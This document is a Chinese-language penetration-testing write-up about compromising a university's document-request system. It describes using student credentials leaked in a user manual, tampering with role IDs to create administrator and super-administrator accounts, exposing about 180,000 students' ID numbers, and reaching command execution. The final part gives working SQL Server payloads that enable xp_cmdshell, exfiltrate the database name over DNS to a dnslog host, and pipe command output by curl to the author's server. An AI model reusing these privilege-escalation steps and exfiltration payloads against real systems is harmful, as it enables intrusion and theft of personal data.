一个非同寻常的信息泄露
开局一个登录框:
右下角有一个”点击查看操作手册”就很显眼,让人很有想点击的欲望。
现在了然了账号和密码的默认格式,于是便很兴奋地谷歌尝试搜索site:xxx.edu.cn filetype:pdf 学号的相应信息,但一无所获。
又去看看网站的前端代码,测测SQL注入,插件找一波接口…同样很正常地没用任何进展。
正当感到无计可施,想要切换下一个站点之际,一不小心又点进了刚才的”操作手册.doc”文档,然后无意识地往下翻动着:
除却姓名学号这种每个学校的文件都随处可见的信息,敏感信息都打上了🐎,不得不说,二幺幺高校就是不一样,安全意识确实做得很到位。
…
不对,好像掠过去了什么东西?
利用泄露出来的学生信息成功登录!
然后就可以愉快地测试了^^
初步测试
垂直越权
返回登录框,抓包:
经典roleId,常用来表示用户权限。也可以翻下前端找一下哪个数字代表哪个权限,这里就懒得翻了。
一般数字越小权限越大,这里直接改成1。
提示用户不存在。
也许是sql语句执行where roleId=1没有查到,鉴权做得很棒啊!
试试改成2呢:
新增成功!
六六六盐都不盐了。
新增一个管理员账户,回看前端登录的样式知道肯定学生用户和管理员后台登录是分开的,那么下一步便是寻找登录接口。
看一眼Findsomething插件,刚好存在一个/loginadmin的接口:
拼接一下url,成功得到管理员后台登录入口:
登录刚刚新建的管理员账号:
这里能看的东西就挺多了,在申请记录里存在大量学生申请的含有敏感信息的文件:
甚至还能修改申请文件、印章的收费:
一些踩坑
一个普通的账号常见的还有水平越权,比如对于这种情况下的学生账号,可以请求文件时抓包看看请求的参数是否可控,就可以通过修改参数如学号去查看其他人的敏感文件。
这是一个请求文件的数据包:
有一个X-Authorization字段,解码可知是JWT验证,记录了user信息包括学号等,极大概率是控制返回文件的字段;userId为学号,修改后发包无果。
因为又没抓到其它有有效内容的返回包,所有的参数只有可能是从前端传出,便有些突发奇想尝试一下:也许这个fileProperty是这里控制返回文件的参数,比如是通过一些加密算法将学号加密成这样的形式,只要我能逆向定位到加密JS,用其它的学号加密然后发包就能越权看到其它人的文件。
于是开始了漫长的JS逆向之路,由于网站前端是webpack打包,还去学习了一下相应的逆向技术。
因为当时脑袋没转过弯,浪费了许多时间后才突然惊觉,犯了一个基本的常识性错误:
这个参数的value形式一看就是UUID(唯一标识符),而UUID根本就不是学号,而可以看作一个随机数,每个人的都是随机唯一不可预测的,所以可以当作身份的唯一标识符被存储到数据库当作键值。
它之所以不在接口的返回包出现,是因为这里的UUID就像表单CSRF-Token一样,从一开始登录就自动附着在html元素之中了。
所以去逆向它完全是无意义的,犯大傻了。
越权超级管理员
借用管理员权限测试时,某些特殊功能还是会弹出一个权限不足的提示,比如改变邮箱模块等等。
于是猜测到这个站点还应该存在一个超级管理员权限。
只是回头看之前添加用户的功能点:
网站是对添加超级管理员这个功能进行限制了的。
但是结合之前测得的这个网站的特性,添加一个任意账号,抓包看添加用户的数据包:
修改roleIds参数为1。
添加成功!
切回管理员登录接口,登录该账号:
菜单的功能又多出了很多,其中,在某个菜单下,暴露了该校所有18w学生的sfz号码!
RCE
深入每个功能都测了测,也得到了其它的一些敏感数据,但是大多却没什么用。
难道就止步于此了吗。。
都拿到了超管权限,信息泄露只是苟且,RCE才是梦想。
终于在茫茫多的功能中找到了一个很特殊的地方:
可以编辑SQL语句。
且看文件名称,与学生用户端前台的”文件请求”一致:
那么便很容易猜测,前台用户每点击一次文件,后端就肯定会执行一下所谓”报表SQL””菜单SQL”的语句并返回结果。
如果是这样的话,添加些恶意的SQL,比如外带数据库名等等,可能也会回显到得到的文件里。
不多说,开始测试。
由于这个网站的用户量还挺大,为了不影响学校网站的正常运行便拉着一个访问量最小的文件类型进行尝试。
这一试花费的时间可就太多了,也遇到了挺多问题:
这个网站的报表SQL、菜单SQL还有前端都有牵连,字段甚至语法都不能弄错,否则很容易就会出问题,执行不了一点。
更让测试受阻的是每个用户申请文件,如果申请成功(但大多数时候数据库名都不会回显到文件里),网站都会对申请到的文件进行缓存,并沿用上一次SQL请求的返回结果,意味着我的每一次尝试都可能要换一个新的账户(只能说还好之前获取的账号很多)…….
终于,尝试了无数个payload,终于外带了一次数据:
SELECT xb
FROM dbo.cxsyxm a
LEFT JOIN z_V_xsjbxxb b ON a.xh = b.xh
WHERE a.xh = '学号' AND a.rn = '选中值'
UNION
SELECT db_name();
在测试的过程中也知道了该数据库语法为SQL Server。
既然是SQL Server,而且是整段语句的完整传入,那么我们完全可以用SQL Server的exec xp_cmdshell来命令执行。
那么此时便可以新建一个test文件,先试试DNSLOG外带数据库名,来测试目标服务器是否出网:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
DECLARE @dbName NVARCHAR(128);
DECLARE @cmd NVARCHAR(400);
SET @dbName = DB_NAME();
SET @cmd = 'ping ' + @dbName + '.ch85c4.dnslog.cn';
EXEC xp_cmdshell @cmd;
登录学生账号请求对应文件:
此时查看DNSLOG的解析记录:
成功将数据库名带出!
那么接下来便是想要执行命令,这里便有一个踩坑:
由于在超管权限下看到的系统管理菜单处是LINUX系统:
所以便一直进行LINUX的命令执行,像是ls之类的命令。
后续再测试执行windows命令才成功执行,此时才反应过来这套系统是典型的站库分离,即WEB服务系统主机和数据库主机是分离开的。
那么修改SQL语句为执行dir命令:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'dir 2>&1 | curl -X POST --data @- http://ip:port ';
成功在VPS上获得命令回显!